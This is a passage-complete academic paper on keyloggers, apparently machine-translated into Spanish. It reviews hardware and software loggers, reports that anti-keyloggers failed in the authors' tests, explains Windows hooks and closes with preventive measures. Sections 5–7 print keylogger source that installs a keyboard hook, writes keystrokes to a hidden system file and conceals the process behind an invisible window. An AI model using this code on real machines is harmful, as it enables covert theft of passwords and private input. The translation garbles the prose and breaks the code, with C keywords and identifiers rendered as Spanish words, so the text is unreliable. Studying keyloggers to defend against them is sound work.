Capturadores de teclado: Los vecinos de la Amenaza a la Seguridad informática
por Kishore Subramanyam, Charles E. Frank, Donald F. Galli
Departamento de Matemáticas y Ciencias de la computación
Universidad Del Norte De Kentucky
Highland Heights, KY 41099
{subramanyamk, frank, galli}@nku.edu
RESUMEN
Los Capturadores de teclado de hardware o software que registra las pulsaciones del teclado. Representan una grave amenaza para la privacidad de los usuarios de computadoras. Hemos instalado y probado varios Capturadores de teclado y examinado Registrador de teclas código. También repasamos lo que se conoce acerca de los Capturadores de teclado, principalmente a partir de fuentes de Internet. Este documento ofrece un análisis de los mecanismos de Capturadores de teclado uso y de por qué la detección es difícil. Se proponen una serie de recomendaciones sobre los pasos los usuarios de computadoras deben tomar.
1. INTRODUCCIÓN
Capturadores de teclado registran cada tecla que un usuario de la computadora hace. Se comercializan para supervisar el uso de la computadora de los niños, o para atrapar a un cónyuge infiel. Se utilizan para robar tarjetas de crédito y números de cuentas bancarias, nombres de usuario y contraseñas. También se utilizan para controlar a los empleados.
Los Capturadores de teclado pueden ser instalados por el acceso físico a la computadora o por la descarga de programas. Su pequeño tamaño en términos de memoria y procesador hace prácticamente imposible de encontrar. Los Capturadores de teclado pueden ftp o correo electrónico el archivo que contiene las pulsaciones de teclado de nuevo a un espionaje persona.
Los Capturadores de teclado no reciben la misma atención como virus y gusanos. El estándar de referencia en los virus, gusanos y Caballos de Troya [4] dedica un párrafo a los Capturadores de teclado. Entre los equipo de seguridad libros, [2] apenas se menciona Capturadores de teclado y [1] y [9] no hace mención de ellos.
Dos recientes casos ponen de manifiesto el riesgo que supone que los Capturadores de teclado. En febrero de 2003, David Boudreau, un estudiante de la Universidad de Boston, fue acusado con la instalación de Capturadores de teclado en más de 100 ordenadores universitarios [10]. Él utilizó la información acerca de la facultad, los estudiantes y el personal para robar $2,000. En julio de 2003, Juju Jiang se declaró culpable de instalar Capturadores de teclado en veinte Kinko's tiendas en Nueva York [7]. Él de forma remota capturan las pulsaciones de teclado y había sido el robo de nombres de usuario y contraseñas para los dos años antes de que él fue capturado.
2. LOS Capturadores de teclado DE HARDWARE
Hardware Capturadores de teclado vienen en varias formas y formas. Pueden ser una fijación externa entre el teclado y el puerto. Estos son un trozo de cable con un pequeño cilindro de colores para que coincida con el cable del teclado. Se tarda menos de un minuto para instalar. Puesto que se colocan en la parte posterior de la computadora, que son difíciles de detectar. También, Capturadores de teclado de hardware puede ser un dispositivo que se coloca dentro de la unidad junto al puerto de teclado o en el interior del teclado. Estos dispositivos están físicamente invisible para el usuario del ordenador.
Muchos vendedores venden hardware Capturadores de teclado. Hemos probado la $99 KeyGhost Sexual, con 512 KB de memoria flash [5]. Contrariamente a nuestras expectativas, Windows no detecta el KeyGhost conectado entre el teclado y el puerto de e/S como un nuevo dispositivo ni tampoco se muestran en la lista de dispositivos.
3. SOFTWARE DE Capturadores de teclado
Una variedad de Capturadores de teclado se puede encontrar mediante la búsqueda de "keylogger" el uso de un motor de búsqueda. Software de Capturadores de teclado también puede ser descargado de forma gratuita desde cualquier Registrador de teclas foro [3]. Para este proyecto hemos intentado tanto, tanto comercial como de software libre Capturadores de teclado.
Un software Registrador de teclas puede ser instalado en un equipo con privilegios de Administrador. Vienen en diversas formas. Un Registrador de teclas puede ser un ejecutable escrito en Visual Basic. Puede ser un controlador de dispositivo que sustituye a la existente, I/O controlador con la inserción de la clave de la funcionalidad de registro. Más comúnmente, los Capturadores de teclado son escritas en C/C++ usando Windows ganchos.
Hemos probado Raytown, Fantasma, Amecisco, KmInt21 software de Capturadores de teclado. Cada uno de ellos trabaja de manera diferente, pero el resultado final fue el mismo. Se registra las pulsaciones de teclado y los clics del ratón y escribió a un archivo. Tenían la opción de cifrado y descifrado de los archivos de registro y la opción de enviar el archivo a un destino a través de Internet.
Ninguno de ellos apareció en el Administrador de Tareas o en la lista de procesos. Los Capturadores de teclado " los archivos de registro oculto. Estos archivos de registro eran difíciles de distinguir de los archivos del sistema operativo, incluso cuando
hacer un listado de directorios de archivos ocultos.
4. ANTI-KEYLOGGERS
Anti-keyloggers son software que pretende detectar Capturadores de teclado. Hemos instalado y probado Raytown y Spydex anti-keyloggers. El anti-keyloggers no detectar cualquiera de los programas capturadores de teclado o el KeyGhost Registrador de teclas por hardware. La única excepción fue el Raytown anti-keylogger detecta su propio Raytown Registrador de teclas. La razón es que hay muchas maneras para que los Capturadores de teclado para trabajar y se escondieron.
Grupos de discusión en Internet [3] nota de que el anti-keyloggers en los que se detectan muchos Registrador de teclas tiene una muy alta tasa de falsos positivos. Estos anti-keyloggers supervisar programas de Windows utilizando ganchos, ganchos y están legítimamente utilizado por muchas de las funciones.
5. WINDOWS GANCHOS
Un enlace de Windows [3, 8] es el núcleo de muchos de los Capturadores de teclado. Un gancho es un punto en el sistema de tratamiento de mensajes mecanismo por el que una aplicación puede instalar un procedimiento para interceptar el tráfico de mensajes antes de que llegue a un procedimiento de Ventana de destino. Un procedimiento de enlace tiene el siguiente prototipo.
LRESULT CALLBACK HookProc(
int por ejemplo ncode, // especifica la acción a realizar
WPARAM wParam, // parámetro dependiendo por ejemplo ncode
LPARAM lParam // parámetro dependiendo por ejemplo ncode
);
Un gancho de la cadena es una lista de punteros a los procedimientos de enlace. Cuando aparece un mensaje de que está asociado con un determinado tipo de gancho, el sistema pasa el mensaje a cada gancho procedimiento que se hace referencia en el gancho de la cadena, uno tras otro.
Un procedimiento de enlace puede controlar o modificar un mensaje pasa a través de un gancho de la cadena. También puede evitar que el mensaje llegue el siguiente procedimiento de enlace o el procedimiento de ventana de destino.
El SetWindowsHookEx función instala una aplicación definida por el procedimiento de enlace en el principio de la cadena de enlace. Se tiene el siguiente prototipo de función:
HHOOK SetWindowsHookEx(
int idHook, // especifica el tipo de gancho
HOOKPROC lpfn, // puntero a procedimiento de enlace
HINSTANCE hMod, // puntero a archivo dll que contiene el procedimiento de enlace
DWORD dwThreadId // identificador de asociados hilo
);
Hemos examinado el código fuente de varios Capturadores de teclado encontrar en [6]. Si uno aprende a usar Windows ganchos, Capturadores de teclado no son difíciles de escribir. Que no requieren mucho código.
Aquí está el InstallHook función de uno de los Capturadores de teclado. Se asocia el archivo de registro e instala el teclado de registro de procedimiento de KeyboardProc en el gancho de la cadena llamando a SetWindowsHookEx.
BOOL WINAPI InstallHook(BOOL sobrescribir)
{
si(sobrescribir) // sobrescribe el archivo de registro?
{
SetFileAttributes((LPCTSTR)de nombre de archivo,
FILE_ATTRIBUTE_ARCHIVE);
f1 = fopen(archivo, "w");
fclose(f1);
}
// establecer la propiedad hidden para el archivo de registro
SetFileAttributes((LPCTSTR)de nombre de archivo,
FILE_ATTRIBUTE_HIDDEN|
FILE_ATTRIBUTE_SYSTEM);
// llamar a ganar API para instalar el gancho
hkb = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyboardProc,hInstance,0);
return TRUE;
}
6. EL WH_KEYBOARD GANCHO
De los quince gancho diferentes tipos, WH_KEYBOARD y WH_MOUSE son importantes para la escritura de un Registrador de teclas. Se describe la WH_KEYBOARD tipo de gancho. El WH_KEYBOARD gancho permite que una aplicación para monitorear el tráfico de mensajes para el WM_KEYDOWN y WM_KEYUP los mensajes que están a punto de ser devuelto por el GetMessage o PeekMessage funciones. Este gancho puede ser utilizado para monitorear la entrada de teclado enviado a una cola de mensajes a través de la KeyboardProc procedimiento de enlace. El sistema operativo llama a este procedimiento cuando una aplicación llama a la GetMessage o PeekMessage función y hay un mensaje de teclado (WM_KEYUP o WM_KEYDOWN) para ser procesados. Se tiene el siguiente prototipo de función:
LRESULT CALLBACK KeyboardProc(
int código, // especifica cómo procesar un mensaje
WPARAM wParam, // virtual-código de clave de clave de generación de mensaje
LPARAM lParam // contador de repetición, código de exploración, extendida clave de la bandera,
// código del contexto, clave anterior-bandera del estado de
// y del estado de transición de la bandera
);
Aquí está el código de KeyboardProc de uno de los Capturadores de teclado. Se abre el archivo de registro y escribe el carácter. Cuando sea necesario, llama a la ToAscii función para traducir el virtual especificada-código de tecla y el teclado del estado para el correspondiente carácter o caracteres.
LRESULT WINAPI de devolución de llamada KeyboardProc(
int por ejemplo ncode, WPARAM wParam,
LPARAM lParam)
{
char ch;
char locname[80];
strcpy(locname,filename);
si (((DWORD)lParam & 0 x 40000000
&&(HC_ACTION==por ejemplo ncode))
{
si((wParam==VK_SPACE)||
(wParam==VK_RETURN)||
(wParam>=0x2f ) &&
(wParam<=0x100))
{
f1=fopen(locname,"a+");
si (wParam==VK_RETURN)
{
ch='\n';
// copia de caracteres en el archivo de registro
fwrite(&cad,1,1,f1);
}
otra cosa
{
// array recibe el estado de los datos para cada tecla virtual
BYTE ks[256];
GetKeyboardState(ks);
PALABRA w;
UINT exploración;
análisis=0;
ToAscii(wParam,escanear,
ks,&w,0);
ch =char(w);
// copia de caracteres en el archivo de registro
fwrite(&cad,1,1,f1);
}
fclose(f1);
}
}
LRESULT RetVal = CallNextHookEx(
hkb, por ejemplo ncode, wParam, lParam );
return RetVal;
}
Cuando se produce un evento que está supervisado por un tipo particular de gancho, el sistema operativo llama al procedimiento al principio de la cadena de enlace. Cada procedimiento de enlace en la cadena determina si se va a pasar el evento para el siguiente procedimiento. Un procedimiento de enlace pasa de un evento al siguiente procedimiento llamando a la CallNextHookEx función.
7. OCULTAR EL Registrador de teclas
Hay muchas maneras de ocultar un Registrador de teclas se ejecuta aparecer en el administrador de tareas o la lista de los procesadores. Aquí es una manera de ocultar mediante la apertura de una ventana oculta en la puesta en marcha y ajuste de los parámetros necesarios.
WNDCLASSEX wincl;
wincl.hInstance = hInstance;
wincl.lpszClassName = nombre;
wincl.lpfnWndProc = WndProc;
// Hacer todas las propiedades de la ventana de cero.
// Esto hará que la ventana invisible.
wincl.estilo = 0;
wincl.cbSize = sizeof(WNDCLASSEX);
wincl.hIcon = NULL;
wincl.hIconSm = NULL;
wincl.hCursor = NULL;
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = 0;
wincl.lpszMenuName = NULL;
si(!RegisterClassEx(&wincl)) return 0;
// Hacer que todos los parámetros de la pantalla
// (e.g altura y anchura) de cero.
// Esto hará que sea invisible desde la barra de tareas
hwnd = CreateWindowEx(0,(LPCTSTR)nombre,"",
0,0,0,0,0,HWND_DESKTOP,NULL,
hInstance,NULL);
ShowWindow(hwnd,SW_HIDE);
8. MEDIDAS PREVENTIVAS
Hemos encontrado que los Capturadores de teclado son prácticamente imposible de seguir, una vez instalado. Sin embargo, hay varias medidas preventivas que se pueden tomar.
1. La mayoría de los usuarios de Windows deben tener privilegios restringidos, haciéndolos parte del grupo de usuarios.
2. El Administrador de grupo debe tener muy pocas entidades, y se debe tener una política de contraseña fuerte.
3. Nadie debería conectarse a Internet o incluso la red interna, mientras que ha iniciado sesión en el equipo como administrador. Esto le da a la red de espías carte blanche el acceso a la máquina y la oportunidad de instalar software de forma remota.
4. El teclado del ordenador puerto debe ser inspeccionado para ver si un Registrador de teclas por hardware está conectado.
9. CONCLUSIÓN
Los Capturadores de teclado son fáciles de escribir y fácil de instalar. Son fácilmente adquiridos por la navegación por Internet [3, 6] o se puede comprar a un precio modesto. Anti-keyloggers son ineficaces. Lo mejor que se puede hacer para prevenir la clave de registro es la adopción de buenas prácticas de seguridad y para realizar controles físicos de hardware Capturadores de teclado.
10. REFERENCIAS
[1] Cole, Eric, Cuidado Con Los Hackers, Nuevos Pilotos Publishing, 2002.
[2] Garfinkel, S. Spafford, G., y Schwartz, A., la Práctica de Unix & Internet Security, O'Reilly & Associates, 3ª edición, 2003.
[3] grupos de Google http://www.google.com/groups
[4] Grimes, Roger A., Código Móvil Malicioso, O'Reilly & Associates, 2001, (p. 190).
[5] Keyghost, http://www.keyghost.com
[6] Registrador de teclas código fuente, http://www.planetsourcecode.com
[7] "Kinko's spyware caso pone de manifiesto el riesgo de terminales de Internet",
http://www.siliconvalley.com/mld/siliconvalley/news/6359407.htm
[8] de Microsoft developer network, http://msdn.Microsoft.com
[9] Pfleeger, C. y Pfleeger, S., La seguridad en la Informática, 3ª edición, Prentice Hall, 2003.
[10] "Estudiante acusado después de la universidad ordenadores hackeados", http://www.xatrix.org/article2641.html
Fecha de publicación: